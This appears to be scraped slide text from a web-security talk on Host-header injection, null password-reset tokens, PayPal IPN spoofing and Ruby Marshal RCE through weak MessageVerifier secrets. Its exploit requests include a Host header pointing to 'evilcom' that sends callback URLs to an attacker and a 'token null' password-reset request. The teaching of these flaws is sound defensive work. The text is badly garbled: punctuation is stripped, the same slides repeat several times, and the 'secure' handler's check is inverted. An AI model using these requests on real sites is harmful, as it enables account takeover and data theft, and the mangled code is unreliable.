arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
